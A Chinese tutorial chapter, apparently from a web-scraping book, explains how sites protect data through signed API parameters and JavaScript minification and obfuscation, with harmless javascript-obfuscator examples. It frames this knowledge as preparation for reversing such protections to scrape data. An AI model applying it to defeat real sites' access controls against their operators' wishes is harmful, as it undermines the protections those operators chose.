在前几章的案例中,我们也试着爬取了各种形式的网站。其中有的网站的数据接口是没有任何验证或加密参数的,我们可以轻松模拟并爬取其中的数据;但有的网站稍显复杂,网站的接口中增加了一些加密参数,同时对 JavaScript 代码采取了上文所述的一些防护措施,当时我们没有直接尝试去破解,而是用 Selenium 等类似工具来实现模拟浏览器执行的方式来进行“所见即所得“的爬取。其实对于后者,我们还有另外一种解决方案,那就是直接逆向 JavaScript 代码,找出其中的加密逻辑,从而直接实现该加密逻辑来进行爬取。如果加密逻辑实在过于复杂,我们也可以找出一些关键入口,从而实现对加密逻辑的单独模拟执行和数据爬取。这些方案难度可能很大,比如关键入口很难寻找,或者加密逻辑难以模拟,可是一旦成功找到突破口,我们便可以不用借助于 Selenium 等工具进行整页数据的渲染而实现数据爬取,这样爬取效率会大幅提升。

本章我们首先会对 JavaScript 防护技术进行介绍,然后介绍一些常用的 JavaScript 逆向技巧,包括浏览器工具的使用、Hook 技术、AST 技术、特殊混淆技术的处理、WebAssembly 技术的处理。了解了这些技术,我们可以更从容地应对 JavaScript 防护技术。

1. 引入

我们在爬取网站的时候,会遇到一些情况需要分析一些接口或 URL 信息,在这个过程中,我们会遇到各种各样类似加密的情形,比如说:

  • 某个网站的 URL 带有一些看不太懂的长串加密参数,要抓取就必须要懂得这些参数是怎么构造的,否则我们连完整的 URL 都构造不出来,更不用说爬取了。
  • 分析某个网站的 Ajax 接口的时候,可以看到接口的一些参数也是加密的,或者 Request Headers 里面也可能带有一些加密参数,如果不知道这些参数的具体构造逻辑就没法直接用程序来模拟这些 Ajax 请求。
  • 翻看网站的 JavaScript 源代码,可以发现很多压缩了或者看不太懂的字符,比如 JavaScript 文件名被编码,JavaScript 的文件内容都压缩成几行,JavaScript 变量也被修改成单个字符或者一些十六进制的字符,导致我们不好轻易根据 JavaScript 找出某些接口的加密逻辑。

这些情况呢,基本上都是网站为了保护其本身的一些数据不被轻易抓取而采取的一些措施,我们可以把它归类为两大类:

  • URL/API 参数加密
  • JavaScript 压缩、混淆和加密

这一节我们就来了解下这两类技术的基本原理和一些常见的示例。知己知彼,百战不殆,了解了这些技术的实现原理之后,我们才能更好地去逆向其中的逻辑,从而实现数据爬取。

2. 网站数据防护方案

当今大数据时代,数据已经变得越来越重要,网页和 App 现在是主流的数据载体,如果其数据的 API 没有设置任何保护措施,在爬虫工程师解决了一些基本的反爬如封 IP、验证码的问题之后,那么数据还是可以被轻松爬取到的。

那么,有没有可能在 URL/API 层面或 JavaScript 层面也加上一层防护呢?答案是可以。

URL/API 参数加密

网站运营者首先想到防护措施可能是对某些数据接口的参数进行加密,比如说对某些 URL 的一些参数加上校验码或者把一些 id 信息进行编码,使其变得难以阅读或构造;或者对某些 API 请求加上一些 token、sign 等签名,这样这些请求发送到服务器时,服务器会通过客户端发来的一些请求信息以及双方约定好的秘钥等来对当前的请求进行校验,如果校验通过,才返回对应数据结果。

比如说客户端和服务端约定一种接口校验逻辑,客户端在每次请求服务端接口的时候都会附带一个 sign 参数,这个 sign 参数可能是由当前时间信息、请求的 URL、请求的数据、设备的 ID、双方约定好的秘钥经过一些加密算法构造而成的,客户端会实现这个加密算法构造 sign,然后每次请求服务器的时候附带上这个参数。服务端会根据约定好的算法和请求的数据对 sign 进行校验,如果校验通过,才返回对应的数据,否则拒绝响应。

当然登录状态的校验也可以看作是此类方案,比如一个 API 的调用必须要传一个 token,这个 token 必须用户登录之后才能获取,如果请求的时候不带该 token,API 就不会返回任何数据。

倘若没有这种措施,那么基本上 URL 或者 API 接口是完全公开可以访问的,这意味着任何人都可以直接调用来获取数据,几乎是零防护的状态,这样是非常危险的,而且数据也可以被轻易地被爬虫爬取。因此对 URL/API 参数一些加密和校验是非常有必要的。

JavaScript 压缩、混淆和加密

接口加密技术看起来的确是一个不错的解决方案,但单纯依靠它并不能很好地解决问题。为什么呢?

对于网页来说,其逻辑是依赖于 JavaScript 来实现的,JavaScript 有如下特点:

  • JavaScript 代码运行于客户端,也就是它必须要在用户浏览器端加载并运行。
  • JavaScript 代码是公开透明的,也就是说浏览器可以直接获取到正在运行的 JavaScript 的源码。

由于这两个原因,至使 JavaScript 代码是不安全的,任何人都可以读、分析、复制、盗用,甚至篡改。

所以说,对于上述情形,客户端 JavaScript 对于某些加密的实现是很容易被找到或模拟的,了解了加密逻辑后,模拟参数的构造和请求也就是轻而易举了,所以如果 JavaScript 没有做任何层面的保护的话,接口加密技术基本上对数据起不到什么防护作用。

如果你不想让自己的数据被轻易获取,不想他人了解 JavaScript 逻辑的实现,或者想降低被不怀好意的人甚至是黑客攻击。那么就需要用到 JavaScript 压缩、混淆和加密技术了。

这里压缩、混淆和加密技术简述如下:

  • 代码压缩:即去除 JavaScript 代码中的不必要的空格、换行等内容,使源码都压缩为几行内容,降低代码可读性,当然同时也能提高网站的加载速度。
  • 代码混淆:使用变量替换、字符串阵列化、控制流平坦化、多态变异、僵尸函数、调试保护等手段,使代码变地难以阅读和分析,达到最终保护的目的。但这不影响代码原有功能。是理想、实用的 JavaScript 保护方案。
  • 代码加密:可以通过某种手段将 JavaScript 代码进行加密,转成人无法阅读或者解析的代码,如借用 WebAssembly 技术,可以直接将 JavaScript 代码用 C/C++ 实现,JavaScript 调用其编译后形成的文件来执行相应的功能。

下面我们对上面的技术分别予以介绍。

3. URL/API 参数加密

现在绝大多数网站的数据一般都是通过服务器提供的 API 来获取的,网站或 App 可以请求某个数据 API 获取到对应的数据,然后再把获取的数据展示出来。但有些数据是比较宝贵或私密的,这些数据肯定是需要一定层面上的保护。所以不同 API 的实现也就对应着不同的安全防护级别,我们这里来总结下。

为了提升接口的安全性,客户端会和服务端约定一种接口校验方式,一般来说会使用到各种加密和编码算法,如 Base64、Hex 编码,MD5、AES、DES、RSA 等对称或非对称加密。

举个例子,比如说客户端和服务器双方约定一个 sign 用作接口的签名校验,其生成逻辑是客户端将 URL Path 进行 MD5 加密然后拼接上 URL 的某个参数再进行 Base64 编码,最后得到一个字符串 sign,这个 sign 会通过 Request URL 的某个参数或 Request Headers 发送给服务器。服务器接收到请求后,对 URL Path 同样进行 MD5 加密,然后拼接上 URL 的某个参数,也进行 Base64 编码也得到了一个 sign,然后比对生成的 sign 和客户端发来的 sign 是否是一致的,如果是一致的,那就返回正确的结果,否则拒绝响应。这就是一个比较简单的接口参数加密的实现。如果有人想要调用这个接口的话,必须要定义好 sign 的生成逻辑,否则是无法正常调用接口的。

当然上面的这个实现思路比较简单,这里还可以增加一些时间戳信息增加时效性判断,或增加一些非对称加密进一步提高加密的复杂程度。但不管怎样,只要客户端和服务器约定好了加密和校验逻辑,任何形式加密算法都是可以的。

这里要实现接口参数加密就需要用到一些加密算法,客户端和服务器肯定也都有对应的 SDK 实现这些加密算法,如 JavaScript 的 crypto-js,Python 的 hashlib、Crypto 等等。

但还是如上文所说,如果是网页的话,客户端实现加密逻辑如果是用 JavaScript 来实现,其源代码对用户是完全可见的,如果没有对 JavaScript 做任何保护的话,是很容易弄清楚客户端加密的流程的。

因此,我们需要对 JavaScript 利用压缩、混淆等方式来对客户端的逻辑进行一定程度上的保护。

4. JavaScript 压缩

这个非常简单,JavaScript 压缩即去除 JavaScript 代码中的不必要的空格、换行等内容或者把一些可能公用的代码进行处理实现共享,最后输出的结果都压缩为几行内容,代码可读性变得很差,同时也能提高网站加载速度。

如果仅仅是去除空格换行这样的压缩方式,其实几乎是没有任何防护作用的,因为这种压缩方式仅仅是降低了代码的直接可读性。如果我们有一些格式化工具可以轻松将 JavaScript 代码变得易读,比如利用 IDE、在线工具或 Chrome 浏览器都能还原格式化的代码。

比如这里举一个最简单的 JavaScript 压缩示例,原来的 JavaScript 代码是这样的:

1
2
3
4
function echo(stringA, stringB) {
const name = "Germey";
alert("hello " + name);
}

压缩之后就变成这样子:

1
2
3
4
function echo(d, c) {
const e = "Germey";
alert("hello " + e);
}

可以看到这里参数的名称都被简化了,代码中的空格也被去掉了,整个代码也被压缩成了一行,代码的整体可读性降低了。

目前主流的前端开发技术大多都会利用 Webpack、Rollup 等工具进行打包,Webpack、Rollup 会对源代码进行编译和压缩,输出几个打包好的 JavaScript 文件,其中我们可以看到输出的 JavaScript 文件名带有一些不规则字符串,同时文件内容可能只有几行内容,变量名都是一些简单字母表示。这其中就包含 JavaScript 压缩技术,比如一些公共的库输出成 bundle 文件,一些调用逻辑压缩和转义成冗长的几行代码,这些都属于 JavaScript 压缩。另外其中也包含了一些很基础的 JavaScript 混淆技术,比如把变量名、方法名替换成一些简单字符,降低代码可读性。

但整体来说,JavaScript 压缩技术只能在很小的程度上起到防护作用,要想真正提高防护效果还得依靠 JavaScript 混淆和加密技术。

5. JavaScript 混淆

JavaScript 混淆是完全是在 JavaScript 上面进行的处理,它的目的就是使得 JavaScript 变得难以阅读和分析,大大降低代码可读性,是一种很实用的 JavaScript 保护方案。

JavaScript 混淆技术主要有以下几种:

  • 变量混淆:将带有含义的变量名、方法名、常量名随机变为无意义的类乱码字符串,降低代码可读性,如转成单个字符或十六进制字符串。

  • 字符串混淆:将字符串阵列化集中放置、并可进行 MD5 或 Base64 加密存储,使代码中不出现明文字符串,这样可以避免使用全局搜索字符串的方式定位到入口点。

  • 属性加密:针对 JavaScript 对象的属性进行加密转化,隐藏代码之间的调用关系。

  • 控制流平坦化:打乱函数原有代码执行流程及函数调用关系,使代码逻变得混乱无序。

  • 无用代码注入:随机在代码中插入不会被执行到的无用代码,进一步使代码看起来更加混乱。

  • 调试保护:基于调试器特性,对当前运行环境进行检验,加入一些强制调试 debugger 语句,使其在调试模式下难以顺利执行 JavaScript 代码。

  • 多态变异:使 JavaScript 代码每次被调用时,将代码自身即立刻自动发生变异,变化为与之前完全不同的代码,即功能完全不变,只是代码形式变异,以此杜绝代码被动态分析调试。

  • 锁定域名:使 JavaScript 代码只能在指定域名下执行。

  • 反格式化:如果对 JavaScript 代码进行格式化,则无法执行,导致浏览器假死。

  • 特殊编码:将 JavaScript 完全编码为人不可读的代码,如表情符号、特殊表示内容等等。

总之,以上方案都是 JavaScript 混淆的实现方式,可以在不同程度上保护 JavaScript 代码。

在前端开发中,现在 JavaScript 混淆主流的实现是 javascript-obfuscator (https://github.com/javascript-obfuscator/javascript-obfuscator) 和 terser (https://github.com/terser/terser) 这两个库,其都能提供一些代码混淆功能,也都有对应的 Webpack 和 Rollup 打包工具的插件,利用它们我们可以非常方便地实现页面的混淆,最终可以输出压缩和混淆后的 JavaScript 代码,使得 JavaScript 代码可读性大大降低。

下面我们以 javascript-obfuscator 为例来介绍一些代码混淆的实现,了解了实现,那么自然我们就对混淆的机理有了更加深刻的认识。

javascript-obfuscator 的官网地址为:https://obfuscator.io/,其官方介绍内容如下:

A free and efficient obfuscator for JavaScript (including ES2017). Make your code harder to copy and prevent people from stealing your work.

它是支持 ES8 的免费、高效的 JavaScript 混淆库,它可以使得你的 JavaScript 代码经过混淆后难以被复制、盗用,混淆后的代码具有和原来的代码一模一样的功能。

怎么使用呢?首先,我们需要安装好 Node.js 12.x 版本及以上,确保可以正常使用 npm 命令,具体的安装方式可以参考:https://setup.scrape.center/nodejs。

接着新建一个文件夹,比如 js-obfuscate,然后进入该文件夹,初始化工作空间:

1
npm init

这里会提示我们输入一些信息,创建一个 package.json 文件,这就完成了项目初始化了。

接下来我们来安装 javascript-obfuscator 这个库:

1
npm i -D javascript-obfuscator

稍等片刻,即可看到本地 js-obfuscate 文件夹下生成了一个 node_modules 文件夹,里面就包含了 javascript-obfuscator 这个库,这就说明安装成功了,文件夹结构如图所示:

image-20210612155500985

接下来我们就可以编写代码来实现一个混淆样例了,如新建一个 main.js 文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const code = `
let x = '1' + 1
console.log('x', x)
`;

const options = {
compact: false,
controlFlowFlattening: true,
};

const obfuscator = require("javascript-obfuscator");
function obfuscate(code, options) {
return obfuscator.obfuscate(code, options).getObfuscatedCode();
}
console.log(obfuscate(code, options));

在这里我们定义了两个变量,一个是 code,即需要被混淆的代码,另一个是混淆选项,是一个 Object。接下来我们引入了 javascript-obfuscator 这库,然后定义了一个方法,传入 code 和 options,来获取混淆后的代码,最后控制台输出混淆后的代码。

代码逻辑比较简单,我们来执行一下代码:

1
node main.js

输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var _0x53bf = ["log"];
(function (_0x1d84fe, _0x3aeda0) {
var _0x10a5a = function (_0x2f0a52) {
while (--_0x2f0a52) {
_0x1d84fe["push"](_0x1d84fe["shift"]());
}
};
_0x10a5a(++_0x3aeda0);
})(_0x53bf, 0x172);
var _0x480a = function (_0x4341e5, _0x5923b4) {
_0x4341e5 = _0x4341e5 - 0x0;
var _0xb3622e = _0x53bf[_0x4341e5];
return _0xb3622e;
};
let x = "1" + 0x1;
console[_0x480a("0x0")]("x", x);

看到了吧,那么简单的两行代码,被我们混淆成了这个样子,其实这里我们就是设定了一个「控制流平坦化」的选项。整体看来,代码的可读性大大降低,也大大加大了 JavaScript 调试的难度。

好,那么我们来跟着 javascript-obfuscator 走一遍,就能具体知道 JavaScript 混淆到底有多少方法了。

注意:由于这些例子中,调用 javascript-obfuscator 进行混淆的实现是一样的,所以下文的示例只说明 code 和 options 变量的修改,完整代码请自行补全。

代码压缩

这里 javascript-obfuscator 也提供了代码压缩的功能,使用其参数 compact 即可完成 JavaScript 代码的压缩,输出为一行内容。默认是 true,如果定义为 false,则混淆后的代码会分行显示。

示例如下:

1
2
3
4
5
6
7
const code = `
let x = '1' + 1
console.log('x', x)
`;
const options = {
compact: false,
};

这里我们先把代码压缩 compact 选项设置为 false,运行结果如下:

1
2
let x = "1" + 0x1;
console["log"]("x", x);

如果不设置 compact 或把 compact 设置为 true,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var _0x151c = ["log"];
(function (_0x1ce384, _0x20a7c7) {
var _0x25fc92 = function (_0x188aec) {
while (--_0x188aec) {
_0x1ce384["push"](_0x1ce384["shift"]());
}
};
_0x25fc92(++_0x20a7c7);
})(_0x151c, 0x1b7);
var _0x553e = function (_0x259219, _0x241445) {
_0x259219 = _0x259219 - 0x0;
var _0x56d72d = _0x151c[_0x259219];
return _0x56d72d;
};
let x = "1" + 0x1;
console[_0x553e("0x0")]("x", x);

可以看到单行显示的时候,对变量名进行了进一步的混淆,这里变量的命名都变成了 16 进制形式的字符串,这是因为启用了一些默认压缩和混淆配置导致的。总之我们可以看到代码的可读性相比之前大大降低了。

变量名混淆

变量名混淆可以通过在 javascript-obfuscator 中配置 identifierNamesGenerator 参数实现,我们通过这个参数可以控制变量名混淆的方式,如 hexadecimal 则会替换为 16 进制形式的字符串,在这里我们可以设定如下值:

  • hexadecimal:将变量名替换为 16 进制形式的字符串,如 0xabc123
  • mangled:将变量名替换为普通的简写字符,如 abc 等。

该参数的值默认为 hexadecimal。

我们将该参数修改为 mangled 来试一下:

1
2
3
4
5
6
7
8
const code = `
let hello = '1' + 1
console.log('hello', hello)
`;
const options = {
compact: true,
identifierNamesGenerator: "mangled",
};

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var a = ["hello"];
(function (c, d) {
var e = function (f) {
while (--f) {
c["push"](c["shift"]());
}
};
e(++d);
})(a, 0x9b);
var b = function (c, d) {
c = c - 0x0;
var e = a[c];
return e;
};
let hello = "1" + 0x1;
console["log"](b("0x0"), hello);

可以看到这里的变量命名都变成了 ab 等形式。

如果我们将 identifierNamesGenerator 修改为 hexadecimal 或者不设置,运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var _0x4e98 = ["log", "hello"];
(function (_0x4464de, _0x39de6c) {
var _0xdffdda = function (_0x6a95d5) {
while (--_0x6a95d5) {
_0x4464de["push"](_0x4464de["shift"]());
}
};
_0xdffdda(++_0x39de6c);
})(_0x4e98, 0xc8);
var _0x53cb = function (_0x393bda, _0x8504e7) {
_0x393bda = _0x393bda - 0x0;
var _0x46ab80 = _0x4e98[_0x393bda];
return _0x46ab80;
};
let hello = "1" + 0x1;
console[_0x53cb("0x0")](_0x53cb("0x1"), hello);

可以看到选用了 mangled,其代码体积会更小,但 hexadecimal 其可读性会更低。

另外我们还可以通过设置 identifiersPrefix 参数来控制混淆后的变量前缀,示例如下:

1
2
3
4
5
6
7
const code = `
let hello = '1' + 1
console.log('hello', hello)
`;
const options = {
identifiersPrefix: "germey",
};

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var germey_0x3dea = ["log", "hello"];
(function (_0x348ff3, _0x5330e8) {
var _0x1568b1 = function (_0x4740d8) {
while (--_0x4740d8) {
_0x348ff3["push"](_0x348ff3["shift"]());
}
};
_0x1568b1(++_0x5330e8);
})(germey_0x3dea, 0x94);
var germey_0x30e4 = function (_0x2e8f7c, _0x1066a8) {
_0x2e8f7c = _0x2e8f7c - 0x0;
var _0x5166ba = germey_0x3dea[_0x2e8f7c];
return _0x5166ba;
};
let hello = "1" + 0x1;
console[germey_0x30e4("0x0")](germey_0x30e4("0x1"), hello);

可以看到混淆后的变量前缀加上了我们自定义的字符串 germey。

另外 renameGlobals 这个参数还可以指定是否混淆全局变量和函数名称,默认为 false。示例如下:

1
2
3
4
5
6
7
8
const code = `
var $ = function(id) {
return document.getElementById(id);
};
`;
const options = {
renameGlobals: true,
};

运行结果如下:

1
2
3
var _0x4864b0 = function (_0x5763be) {
return document["getElementById"](_0x5763be);
};

可以看到这里我们声明了一个全局变量 这个变量也被替换了。如果后文用到了这个 $ 对象,可能就会有找不到定义的错误,因此这个参数可能导致代码执行不通。

如果我们不设置 renameGlobals 或者设置为 false,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var _0x239a = ["getElementById"];
(function (_0x3f45a3, _0x583dfa) {
var _0x2cade2 = function (_0x28479a) {
while (--_0x28479a) {
_0x3f45a3["push"](_0x3f45a3["shift"]());
}
};
_0x2cade2(++_0x583dfa);
})(_0x239a, 0xe1);
var _0x3758 = function (_0x18659d, _0x50c21d) {
_0x18659d = _0x18659d - 0x0;
var _0x531b8d = _0x239a[_0x18659d];
return _0x531b8d;
};
var $ = function (_0x3d8723) {
return document[_0x3758("0x0")](_0x3d8723);
};

可以看到,最后还是有 $ 的声明,其全局名称没有被改变。

字符串混淆

字符串混淆,即将一个字符串声明放到一个数组里面,使之无法被直接搜索到。我们可以通过控制 stringArray 参数来控制,默认为 true。

我们还可以通过 rotateStringArray 参数来控制数组化后结果的的元素顺序,默认为 true。还可以通过 stringArrayEncoding 参数来控制数组的编码形式,默认不开启编码,如果设置为 true 或 base64,则会使用 Base64 编码,如果设置为 rc4,则使用 RC4 编码。另外可以通过 stringArrayThreshold 来控制启用编码的概率,范围 0 到 1,默认 0.8。

示例如下:

1
2
3
4
5
6
7
8
9
const code = `
var a = 'hello world'
`;
const options = {
stringArray: true,
rotateStringArray: true,
stringArrayEncoding: true, // 'base64' 或 'rc4' 或 false
stringArrayThreshold: 1,
};

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
var _0x4215 = ["aGVsbG8gd29ybGQ="];
(function (_0x42bf17, _0x4c348f) {
var _0x328832 = function (_0x355be1) {
while (--_0x355be1) {
_0x42bf17["push"](_0x42bf17["shift"]());
}
};
_0x328832(++_0x4c348f);
})(_0x4215, 0x1da);
var _0x5191 = function (_0x3cf2ba, _0x1917d8) {
_0x3cf2ba = _0x3cf2ba - 0x0;
var _0x1f93f0 = _0x4215[_0x3cf2ba];
if (_0x5191["LqbVDH"] === undefined) {
(function () {
var _0x5096b2;
try {
var _0x282db1 = Function(
"return\x20(function()\x20" +
"{}.constructor(\x22return\x20this\x22)(\x20)" +
");"
);
_0x5096b2 = _0x282db1();
} catch (_0x2acb9c) {
_0x5096b2 = window;
}
var _0x388c14 =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
_0x5096b2["atob"] ||
(_0x5096b2["atob"] = function (_0x4cc27c) {
var _0x2af4ae = String(_0x4cc27c)["replace"](/=+$/, "");
for (
var _0x21400b = 0x0,
_0x3f4e2e,
_0x5b193b,
_0x233381 = 0x0,
_0x3dccf7 = "";
(_0x5b193b = _0x2af4ae["charAt"](_0x233381++));
~_0x5b193b &&
((_0x3f4e2e =
_0x21400b % 0x4 ? _0x3f4e2e * 0x40 + _0x5b193b : _0x5b193b),
_0x21400b++ % 0x4)
? (_0x3dccf7 += String["fromCharCode"](
0xff & (_0x3f4e2e >> ((-0x2 * _0x21400b) & 0x6))
))
: 0x0
) {
_0x5b193b = _0x388c14["indexOf"](_0x5b193b);
}
return _0x3dccf7;
});
})();
_0x5191["DuIurT"] = function (_0x51888e) {
var _0x29801f = atob(_0x51888e);
var _0x561e62 = [];
for (
var _0x5dd788 = 0x0, _0x1a8b73 = _0x29801f["length"];
_0x5dd788 < _0x1a8b73;
_0x5dd788++
) {
_0x561e62 +=
"%" +
("00" + _0x29801f["charCodeAt"](_0x5dd788)["toString"](0x10))[
"slice"
](-0x2);
}
return decodeURIComponent(_0x561e62);
};
_0x5191["mgoBRd"] = {};
_0x5191["LqbVDH"] = !![];
}
var _0x1741f0 = _0x5191["mgoBRd"][_0x3cf2ba];
if (_0x1741f0 === undefined) {
_0x1f93f0 = _0x5191["DuIurT"](_0x1f93f0);
_0x5191["mgoBRd"][_0x3cf2ba] = _0x1f93f0;
} else {
_0x1f93f0 = _0x1741f0;
}
return _0x1f93f0;
};
var a = _0x5191("0x0");

可以看到这里就把字符串进行了 Base64 编码,我们再也无法通过查找的方式找到字符串的位置了。

如果将 stringArray 设置为 false 的话,输出就是这样:

1
var a = "hello\x20world";

字符串就仍然是明文显示的,没有被编码。

另外我们还可以使用 unicodeEscapeSequence 这个参数对字符串进行 Unicode 转码,使之更加难以辨认,示例如下:

1
2
3
4
5
6
7
const code = `
var a = 'hello world'
`;
const options = {
compact: false,
unicodeEscapeSequence: true,
};

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var _0x5c0d = ["\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64"];
(function (_0x54cc9c, _0x57a3b2) {
var _0xf833cf = function (_0x3cd8c6) {
while (--_0x3cd8c6) {
_0x54cc9c["push"](_0x54cc9c["shift"]());
}
};
_0xf833cf(++_0x57a3b2);
})(_0x5c0d, 0x17d);
var _0x28e8 = function (_0x3fd645, _0x2cf5e7) {
_0x3fd645 = _0x3fd645 - 0x0;
var _0x298a20 = _0x5c0d[_0x3fd645];
return _0x298a20;
};
var a = _0x28e8("0x0");

可以看到,这里字符串被数字化和 Unicode 化,非常难以辨认。

在很多 JavaScript 逆向的过程中,一些关键的字符串可能会作为切入点来查找加密入口。用了这种混淆之后,如果有人想通过全局搜索的方式搜索 hello 这样的字符串找加密入口,也没法搜到了。

代码自我保护

我们可以通过设置 selfDefending 参数来开启代码自我保护功能。开启之后,混淆后的 JavaScript 会以强制一行形式显示,如果我们将混淆后的代码进行格式化或者重命名,该段代码将无法执行。

示例如下:

1
2
3
4
5
6
const code = `
console.log('hello world')
`;
const options = {
selfDefending: true,
};

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
var _0x26da = ["log", "hello\x20world"];
(function (_0x190327, _0x57c2c0) {
var _0x577762 = function (_0xc9dabb) {
while (--_0xc9dabb) {
_0x190327["push"](_0x190327["shift"]());
}
};
var _0x35976e = function () {
var _0x16b3fe = {
data: { key: "cookie", value: "timeout" },
setCookie: function (_0x2d52d5, _0x16feda, _0x57cadf, _0x56056f) {
_0x56056f = _0x56056f || {};
var _0x5b6dc3 = _0x16feda + "=" + _0x57cadf;
var _0x333ced = 0x0;
for (
var _0x333ced = 0x0, _0x19ae36 = _0x2d52d5["length"];
_0x333ced < _0x19ae36;
_0x333ced++
) {
var _0x409587 = _0x2d52d5[_0x333ced];
_0x5b6dc3 += ";\x20" + _0x409587;
var _0x4aa006 = _0x2d52d5[_0x409587];
_0x2d52d5["push"](_0x4aa006);
_0x19ae36 = _0x2d52d5["length"];
if (_0x4aa006 !== !![]) {
_0x5b6dc3 += "=" + _0x4aa006;
}
}
_0x56056f["cookie"] = _0x5b6dc3;
},
removeCookie: function () {
return "dev";
},
getCookie: function (_0x30c497, _0x51923d) {
_0x30c497 =
_0x30c497 ||
function (_0x4b7e18) {
return _0x4b7e18;
};
var _0x557e06 = _0x30c497(
new RegExp(
"(?:^|;\x20)" +
_0x51923d["replace"](/([.$?*|{}()[]\/+^])/g, "$1") +
"=([^;]*)"
)
);
var _0x817646 = function (_0xf3fae7, _0x5d8208) {
_0xf3fae7(++_0x5d8208);
};
_0x817646(_0x577762, _0x57c2c0);
return _0x557e06 ? decodeURIComponent(_0x557e06[0x1]) : undefined;
},
};
var _0x4673cd = function () {
var _0x4c6c5c = new RegExp(
"\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}"
);
return _0x4c6c5c["test"](_0x16b3fe["removeCookie"]["toString"]());
};
_0x16b3fe["updateCookie"] = _0x4673cd;
var _0x5baa80 = "";
var _0x1faf19 = _0x16b3fe["updateCookie"]();
if (!_0x1faf19) {
_0x16b3fe["setCookie"](["*"], "counter", 0x1);
} else if (_0x1faf19) {
_0x5baa80 = _0x16b3fe["getCookie"](null, "counter");
} else {
_0x16b3fe["removeCookie"]();
}
};
_0x35976e();
})(_0x26da, 0x140);
var _0x4391 = function (_0x1b42d8, _0x57edc8) {
_0x1b42d8 = _0x1b42d8 - 0x0;
var _0x2fbeca = _0x26da[_0x1b42d8];
return _0x2fbeca;
};
var _0x197926 = (function () {
var _0x10598f = !![];
return function (_0xffa3b3, _0x7a40f9) {
var _0x48e571 = _0x10598f
? function () {
if (_0x7a40f9) {
var _0x2194b5 = _0x7a40f9["apply"](_0xffa3b3, arguments);
_0x7a40f9 = null;
return _0x2194b5;
}
}
: function () {};
_0x10598f = ![];
return _0x48e571;
};
})();
var _0x2c6fd7 = _0x197926(this, function () {
var _0x4828bb = function () {
return "\x64\x65\x76";
},
_0x35c3bc = function () {
return "\x77\x69\x6e\x64\x6f\x77";
};
var _0x456070 = function () {
var _0x4576a4 = new RegExp(
"\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d"
);
return !_0x4576a4["\x74\x65\x73\x74"](
_0x4828bb["\x74\x6f\x53\x74\x72\x69\x6e\x67"]()
);
};
var _0x3fde69 = function () {
var _0xabb6f4 = new RegExp(
"\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b"
);
return _0xabb6f4["\x74\x65\x73\x74"](
_0x35c3bc["\x74\x6f\x53\x74\x72\x69\x6e\x67"]()
);
};
var _0x2d9a50 = function (_0x58fdb4) {
var _0x2a6361 = ~-0x1 >> (0x1 + (0xff % 0x0));
if (_0x58fdb4["\x69\x6e\x64\x65\x78\x4f\x66"]("\x69" === _0x2a6361)) {
_0xc388c5(_0x58fdb4);
}
};
var _0xc388c5 = function (_0x2073d6) {
var _0x6bb49f = ~-0x4 >> (0x1 + (0xff % 0x0));
if (
_0x2073d6["\x69\x6e\x64\x65\x78\x4f\x66"]((!![] + "")[0x3]) !== _0x6bb49f
) {
_0x2d9a50(_0x2073d6);
}
};
if (!_0x456070()) {
if (!_0x3fde69()) {
_0x2d9a50("\x69\x6e\x64\u0435\x78\x4f\x66");
} else {
_0x2d9a50("\x69\x6e\x64\x65\x78\x4f\x66");
}
} else {
_0x2d9a50("\x69\x6e\x64\u0435\x78\x4f\x66");
}
});
_0x2c6fd7();
console[_0x4391("0x0")](_0x4391("0x1"));

如果我们将上述代码放到控制台,它的执行结果和之前是一模一样的,没有任何问题。

如果我们将其进行格式化,然后贴到到浏览器控制台里面,浏览器会直接卡死无法运行。这样如果有人对代码进行了格式化,就无法正常对代码进行运行和调试,从而起到了保护作用。

控制流平坦化

控制流平坦化其实就是将代码的执行逻辑混淆,使其变得复杂难读。其基本思想是将一些逻辑处理块都统一加上一个前驱逻辑块,每个逻辑块都由前驱逻辑块进行条件判断和分发,构成一个个闭环逻辑,导致整个执行逻辑十分复杂难读。

比如说这里有一段示例代码:

1
2
3
console.log(c);
console.log(a);
console.log(b);

代码逻辑一目了然,依次在控制台输出了 c、a、b 三个变量的值,但如果把这段代码进行控制流平坦化处理后,代码就会变成这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const s = "3|1|2".split("|");
let x = 0;
while (true) {
switch (s[x++]) {
case "1":
console.log(a);
continue;
case "2":
console.log(b);
continue;
case "3":
console.log(c);
continue;
}
break;
}

